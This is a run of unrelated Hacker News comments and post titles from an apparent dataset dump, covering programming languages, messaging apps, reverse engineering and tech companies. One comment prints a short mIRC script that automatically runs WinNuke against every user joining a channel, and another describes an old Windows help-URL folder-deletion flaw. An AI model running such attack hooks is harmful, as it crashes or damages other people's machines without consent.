skysight-inc/HackerNews huggingface dataset:
I don't think that's the argument. In English, the words "yes" and "no" are very short. Why? Because they're used often. They're not particularly hard to screw up. They're quick to say and quick to write. Similarly, it's good if a framework can use, sure, brevity, in its more common function calls.

Similarly, in jQuery, the most common function call is one character that's obvious if you mess up. You don't have to go to such extremes as `$`, but you should think about that sort of thing when you're designing APIs, imo.
React-Laravel: Use ReactJS with Laravel
Agree. It was great subversive announcement and marketing. All of our objections were encapsulated (horrible, terrible, oh no) and lightly dispatched. It was very skill full writing. Also the comments on this thread really work.
Almost a hybrid snowmobile/hovercraft
This has great potential to interfere with other css modules like nprogress or noUIslider to throw a few. The same reason why the <table> element requires a 'table' class for bootstrap as explained here: http://getbootstrap.com/css/#tables

For basic styling—light padding and only horizontal dividers—add the base class .table to any <table>. It may seem super redundant, but given the widespread use of tables for other plugins like calendars and date pickers, we've opted to isolate our custom table styles.
Unfortunately it's hard to access /any/ information on a page without accessing /all/ information on a page. Unless the page can expose the data itself (say, through an API) an extension will need to access the DOM. Accessing the DOM means data leakage from that page to potentially any server.
Not sure why person would not have called ethics line or even complain local govt HR authorities(if any). The allegations seems to be definitely a harassment if the person was not paid for work to be done outside working hours(not very clear if the person was paid for midnight calls). Not sure now but when I worked in Microsoft as customer support. They really really took care of the employees, it was a cost centre and there were call centre metrics in place but employees were treated really well. Leaves given as needed, paid for extra work and an excellent customer centric but a humble culture inside the org. The dev teams appreciated inputs from support and vice versa.
LG didn't just prototype a phone. They released the LG Prada.
You forgot the part where FreeBSD 4.0 added jails in March 2000 [1].

You could argue that jails were inspired by chroot(), and that's correct, but that's hardly any isolation.

[1] http://phk.freebsd.dk/pubs/sane2000-jail.pdf
"To me, burn out is a result of feeling like you're not getting anywhere, and that just plain isn't the case at a company where we consistently ship things with huge scopes, on time and to resounding success."

Just because a company is getting somewhere, doesn't mean you or your team or even your org is. You mustn't overgeneralize your own positive experiences at the company to reflect that of a majority of people working there. (Of course, for people with the opposite experience, overgeneralization should be avoided as well.)

It's a big company. Experiences will vary.
> Observing that lockpicking can facilitate burglary is not equivalent to conflating locksmiths with criminals

I have to disagree with you here. Both in this filing and in their broader campaigns, they've done everything they can to conflate copyright infringement with hacking/viruses/etc. and many of their references are irrelevant or unsupported, they just want to put the words piracy and hacking together at every opportunity.

Which is itself disingenuous, as ESA member Sony is itself infamous for using malicious hacking in its attempt to stop copyright infringement (e.g. the Sony rootkit). Although I will admit that I'm maligning them given the chance. I haven't bought anything from Sony since that very day.
My S4 fell less than 20 cm on the wooden floor and the screen cracked. I saw many Samsung made in Vietnam devices with horrible quality.
Powershell currently only runs on Windows. One can't use powershell remoting from a Mac OS or *nix machine. Until someone adds non-windows support for Powershell, they need to have a built-in ssh server that opens powershell as the shell. Btw, even if that does happen, it's still difficult to use PS. Any errors that occur in the remote environment get displayed as XML blobs on the client :(
Upon logging in, it serves a text file containing "Please try again later"
Web Traffic and Stickiness: What Works?
Maybe I'm just old and cranky, but to me both Slack and Hipchat are IRC knockoffs.
> Not sure if OP is the author

The OP is eduardordm, which can be found right underneath the article link. If you look on his HN profile, his GitHub name is also eduardordm.

The repo author is gogotanaka.

So, no. He's not. And the repo author is consequently unlikely to ever see your comments.

Not only are these simple checks to make, but it's extremely bad practice to scatter commentary about a project everywhere across the internet; people who only know about this project through GitHub would not see your comments either.
I remember Microsoft giving Facebook it's twitter account named MESSENGER. Going by how companies acquire/trademark names. I'd say the domain name is also a gift from Microsoft.
Made me wish for a comeback of the yeas and nays of yonder. It's pretty amazing how many different languages struggle with this, and how some have tried to deal with it using a 4-tuple instead of a 2-tuple.
"Java took the enterprise by storm"

Smalltalk's demise no doubt had a lot to do with Sun's marketing people convincing a bunch of Pointy-Haired Bosses that garbage collection means that you have no memory leaks, as well as that Java was the only way to do cross-platform development.

IMHO Java is one of the very worst ways to do cross-platform, however when I ported a a Mac OS Pascal program to Java so that it could be run on both Windows and Mac, the client was completely convinced that Java was the only way that could possibly be done - this despite my loud and frequent protests that the state of Java at the time was quite poor, that the Java interpreter was dog-slow, that Java sucked the memory dry, and that I knew a whole bunch of ways to write cross-platform native code that would be far faster and use far-less memory.

The reason that Smalltalk specifically suffered from this, is that Sun made most of its money by selling servers to the enterprise. Sun Workstations were favored by scientists and engineers, however Sun's real money came from enterprise servers.

Right around that time, Smalltalk was largely used for enterprise applications. Enterprise application developers loved Smalltalk absolutely to death however the bean counters and the PHBs were more inclined to listen to marketdroids promises about garbage collection being immune to memory leaks.

Garbage collection and memory leaks are orthogonal.
Like most mass-media writeups of scientific studies, there's no science here. The sample size is absolutely tiny, and it's poorly designed on top of that.

Here are some problems with it:

- The sample size is absolutely insignificant. For studies that we want to generalize to all humans, a sample of at least 100,000 is ideal.

- This is not longitudinal or experimental data. We have no idea if we're just seeing a random correlation or not. There are simply too many variables to control for, especially with such a small population.

- Only people 47 to 59 were studied, and the questionnaire was administered in the present. We don't know what their sleep patterns have been in the past.

- The groups were self-reported, which likely caused problems. What if you're a morning person on weekdays, but not on weekends?

- Correlated health issues, like obesity or diabetes, might be the cause rather than the effect.

- They're presumably all Korean. I don't know how this might influence the study, but it very well might.
Make sure you keep water (melting snow) away from the ESC, since it likes to kill ESCs https://www.youtube.com/watch?v=s4z8QMgTEA4.
That would leave a large list of games lost to history and never again playable. There are quite a lot of titles that were protected by dongles, anti-emulation code, etc. in addition to those where the servers have been taken down due to the publisher making no profit off of them and the existing proposal is quite reasonably tailored to preserving works that would otherwise be lost with little impact on works that are still commercially viable.

If anything, keeping old works alive helps boost the inevitable remakes, e.g. how I just bough Elite: Dangerous the other night because of what I knew about the original Elite.
I have specific knowledge of several instances where this is, indeed, true.

Your article:

Is five years old, and never claims about that the person mentioned in article was still developing apps after being hired by Apple. In fact:

The picture displayed is from a now-defunct Seattle-centric business social networking website, and Phillip is mentioned as being part of the "Seattle Community," but a resident of "San Jose California."

It seems totally sensible that Apple would want to hire someone with experience building iOS apps, and would then make them give all of those up as soon as they're hired. Which would be identical to the experience that the people I know have had.

I did some more digging, and:

“Apple employees are generally prohibited
[from publishing apps in the App Store],”
[Evan] Doll told Wired.com. “You have to
get a special exception from a VP.
Otherwise, big no-no. If he was doing it
pre-Apple then he’d have an easier time
getting an exception,” he added.

http://www.wired.com/2010/08/apple-fart-apps/2/
Hah! I wasn't (and wasn't aware anyone would be crazy enough to put TSP inside their body); I was just making the direct parallel: both ephedrine and TSP exist in an odd regulatory state where, although they can't be used as an ingredient in a compound product, they can be purchased OTC in a pure form and then "compounded" into those same products by the end-user. Just like you can mix some TSP into your regular laundry detergent, you can mix some ephedrine into your regular diet shakes or what-have-you.
> I would definitely find what curryhoward described as useful

You can get a statically-typed Ruby here: http://infraruby.com/live

It follows Java's type system (including generics with bounded wildcards) but it doesn't support Ruby reflection.
Yeah is indeed from yea, from Old English gea. All three were originally pronounced identically, but yea underwent a sound change so that it now rhymes with yay. Yeah is one of the few words to have retained its Old English pronunciation.

https://en.wiktionary.org/wiki/yeah
rlwrap just pipes terminal I/O through itself. It doesn't change anything about the child process except where stdin comes from.
Try logging in to Facebook first in the same browser. Then visit messenger.com

You'll see a link on the page asking you if you want to login as your Facebook account name. Click on it and you should get logged in.
If no examples could be found of someone relying on the behavior, then a change would be okay. Otherwise the solution would be to implement a modified API.

Alternatively glibc could change it, as glibc almost seems to want to break existing programs.
As I've gotten older, and more direct with my speech, I find myself just repeating the second part of the yes/no question as my answer. Maybe it has something to do with the programming that I've been doing or dealing with programmers.
Your photos of Moxie brightened my day a little. Thanks!
The whitelisted ads are configurable and to tell you the truth this is what I miss now that I'm using uBlock. Personally I understand that ads are a business model that many websites and services need to survive and I've got nothing against websites showing ads tastefully.
Show HN: Unmetered Data Extraction Tool in the Cloud
One thing we've applied on a Python(2, unfortunately, so can't go deep on the static type analysis) is enable this sort of type hinting when running our app in debug or test mode. Obviously can't catch everything, but it catches some of the sillier bugs.
It depends on your role, PMs and managers would obviously have a lot more. I'm just a lowly engineer and looking at my calendar this week, I've have 2.5 hours of regular meetings, 3 hours of interviews (though that's an outlier, I normally do 1 interview a week, which is 1 hour long), and 2 hours of "tech talks" (which is not really a meeting, it's basically people from other teams talking about what they've been working on).
"The important thing was I had an onion on my belt, which was the style at the time."
What environment did he use on an android? I would think programming on a small touchscreen device would be really tedious, wondering if there's something good out there.
editor support for php type hinting and phpdoc method comments goes a long way. intellij can do significant refactors and and searching. you'll get real time feedback for violating types. it's not quite the same as a explicit compile step but pretty close
The regular watch, a dumb watch if you like has some big advantages over a smart watch or a phone. Its always on, can always be seen, the battery lasts for years, its waterproof. Having said that, I think these advantages are mostly important for niche uses - scuba divers for example.
The Stanford 3D Scanning Repository
Facebook is planning to make its messenger a standalone platform. This view could help in making sense of messenger.com

Also, they are going off xmpp or whatever its called. When they do, pidgin and other third party clients would no longer work.

This site would placate desktop users who don't want the full Facebook.com experience - users like me.

However, I don't like messenger.com and web.whatsapp.com because they waste my bandwidth. If they made use of chrome's offline app capabilities, I'd be happy.
Why Ruby 2.0 ?
Is the absolutely horrific scrolling experience (retina MBP, Chrome) I get on the Snowflake page part of the joke?
Yeah, you'd trigger a very specific help:// URL that happened to accept as a query parameter the path to a folder. That folder was created by the help page, which would put some temporary stuff in there and, when the user closed the help window, would remove the folder and its contents (because you have to clean after yourself!). The obvious thought is... "what if I point it to a folder that already exists?"

Yep.

It was definitely there before XP, at least since 2002.
Not as bad as obsessing over wellness porn in the popular press.
Cool! Can't want for future integration of content-addressable systems like ipfs :)
Btw. I build a wrapper around nw.js for those who prefer a stand-alone app, looks like native.

https://github.com/imton/MessengerNative
It was not a big company. I was working for a small-ish family owned business.

They had, maybe 20-30 employees.

This was the end of the final email exchange between myself and this recruiting company.

Clearly, the bottom line is that clients pay XXXXXX and talent does not. It belittles us both to pretend that it's really about ethics or loyalty.

I don't maintain business relationships in which my interests come last and I don't do business with the dishonest.

Again, please, lose my number.
No one procrastinates on things they enjoy doing. You may not have found your niche yet, keep looking. People grow up learning competing with each other all the time as it is theme of life. You would have to unlearn that and enjoy life.
And improve NSA compatibility.
For spontaneous ones
I myself reverse engineered two file formats: the Movie Magic Scheduling database files - it's an application-specific project management tool for motion picture and TV production - as well as the Zeni 4 Electronic Design Automation (ie. Electronic CAD) Physical Design documents.

I've been thinking just in the last few days that it would be cool to write up how I did it.

The basic way is to create a document with nothing in it, then a second document with a very small difference. For example in Movie Magic I had one new document that I saved without putting anything in it, then a second where I entered the letter "A" into a certain field.

I made hex dumps of them both, then compared the hex.

Then I would make some modest changes and additions, such as the letter "B" in a different field, or I would change the "A" in that first field to "AB".

This approach only really works if you've had experience implementing file format code; it's particularly helpful to have designed original formats completely from scratch. For these specific reasons I am better than most at file format reverse-engineering, however I don't really have a clue about doing that for network protocols as the Samba folks did.

Once I have some guess about the file format, I start writing a file interpreter, typically to dump the binary format into human-readible text. "Actor's Name: A", "Movie Title: B".

Rather more importantly, that binary file dumper is chock-full of assertions. It's rather more important to get the assertions right than it is to display the actual file payload values.

Loosely speaking, a set of correctly-implemented assertions is, in itself, the documentation for the file format you just reverse-engineered.

It's also important to round-trip. So I come up with some very simple text input format, then a filter that creates documents that are readable by Zeni or Movie Magic, then I try to open the files. If that doesn't puke on my shoes, I edit the file a bit, then run that edited file through my human-readible dumping program.

Lather, rinse and repeat. It is very tedious and slow but it is quite cool when you discover something that works.

I've been puzzling over how I could offer a consulting service where I would reverse-engineer documents as a service to other companies. No doubt there is lots of need for this but I am unclear as to how to market it.

The DMCA only covers Digital Restrictions Management. If the DMCA doesn't apply, as it did not in the case of files that you create yourself as with Movie Magic Scheduling or Zeni 4, while there are some procedures one must take care to follow, reverse-engineering is completely legal.

Another way to put it, is that among the reasons we have patents, is so that reverse-engineering won't be necessary.
This Awesome Concept Car Splits into Two Motorcycles
Yeah, remember how they bought Skype and reengineered its network to make it more monitorable? I think you have their intentions confused.
Definitely. I was surprised at how thoughtful and sane this article is.
Defining Risk
Morality is not the point of the argument. Commenter above said that “original moves were impressive”, and I completely agree with him — HOW Zynga cloned games was really effective, unlike all other competitors on the market.
Damn, it's the sweetest little thing!
I think with Azure, you can log into your Azure instance and then send commands. I recently tried to set up automated deployments for our non-Azure infrastructure and investigated bringing things to Azure.

It's not the same as SSH, but then again powershell is not the same as linux shells.
I can assure you none of them avoid supplements.
That's the point: every game idea was a clone of a clone of a clone, and on each copying something changed, but not significantly enough to call it a new one. However, the emd results differed from the originals drastically.
The website isn't rendering properly for me .. lettering is borked across all fonts - sort of when a bitmap has been resized without using anti-aliasing. Using Firefox 37.0.1 on Win7.
This only addresses part of the problem. Chrome extensions are ONE method of injecting into a page. What about more advanced methods including code hooks, Proxy, LSP, TDI, WFP, etc... What is Chrome going to do about those?
Is that dog a registered pedigree?
all the source photos are contained within a "masters" folder inside the library package(folder). point your backup mechanism to that subfolder and you should be all set.
Hey Jacob, thanks for sharing your writing. Just curious - what are MBAs even hired for at a startup? Not sure what credentials they have vs. someone with relevant industry experience.

Also took a look at your other essays as well - good stuff!
I scripted mIRC to WinNuke everyone on join in all channels. Something like this:

ON *:join:#: {
/run c:\winnuke.exe $gettok($address,2,64)
}
UberFaces Plugin – Like a Random User Generator, but for Photoshop CC and CC-2014
In case the question is actually "Why not 1.9.3?", it's likely because 1.9.3 is End Of Life, and doesn't even get security upgrades now:

https://www.ruby-lang.org/en/news/2014/01/10/ruby-1-9-3-will...

https://www.ruby-lang.org/en/news/2015/02/23/support-for-rub...
Negotiation is not directly required skill, but refusing to negotiate will deprive them of candidates with other valuable skills, just because they would take better offer from elsewhere. It's not like negotiation is like performing some circus trick and getting paid for how well you performed it. It's finding a balance between what the company thinks you're worth and what you think you're worth and what you can get in the market. If Reddit says "we have predefined price and won't move" then either they would consistently overpay (which I have hard time believing in) or they would lose candidates that have better options. Usually such candidates are not the very worst ones.
Not to be cynical, but isn't this why people take these supplements?
OCR and OMR Features Are Now Combined into a Single Component
Open Source's Main Advantage Is Not Cost
Our Recommendations for Boracay Hotels
Apropos of being disingenuous. Sony BMG (now Sony Music Entertainment), which is infamous for using malicious hacking is not and have never been an ESA member. The ESA member is Sony Computer Entertainment. And no, it's not the same org. Both are subsidiaries of the same holding company so they are as related as HBO and Time Warner Cable or GEICO and See's Candies.
Guarantee that it wrote the data correctly. Think checksums, like what ZFS/Btrfs have:

http://en.wikipedia.org/wiki/Data_corruption#SILENT

Same goes for when it reads back the data.
Know instantly how much privacy a website visit costs you
They seem to have only fixed this on Yosemite.

I can reproduce the bug on Mavericks and Chrome 41.0.2272.118 after the 2014-004 update for Mavericks.
No, I'm using the defaults for what OS X specifies when you first install. Which means journaling is turned on.

See John Siracusa's article:

http://arstechnica.com/apple/2011/07/mac-os-x-10-7/12/
As a freelancer today i need to use a plethora of different messaging apps like skype, hangouts, slack, hipchat, irc + a couple of others for private messaging like iMessage, WhatsApp, Facebook, Telegram. It is really becoming somewhat annoying.
One commenter - I believe it was here on HN - said something I thought was very insightful. They said it's difficult to see software when you're looking at your computer edge-on - and that's apparently the only way Apple ever looks at their products anymore.
What happened when I did a Cyber Incident role play in Malaysia recently
Remove unwanted adware that displays pop-up ads and graphics on your Mac
It shouldn't be difficult to find someone willing to help you fend off their lawyers if you have a compelling case. Again, if the violation is really this flagrant, the party alleging infringement would be calling the shots and Zynga would give them any reasonable figure to prevent the case from going to trial. Obviously it's not reasonable to hand over a year's worth of revenue.
It's normal when you're not expected to be in the office until 11am or noon.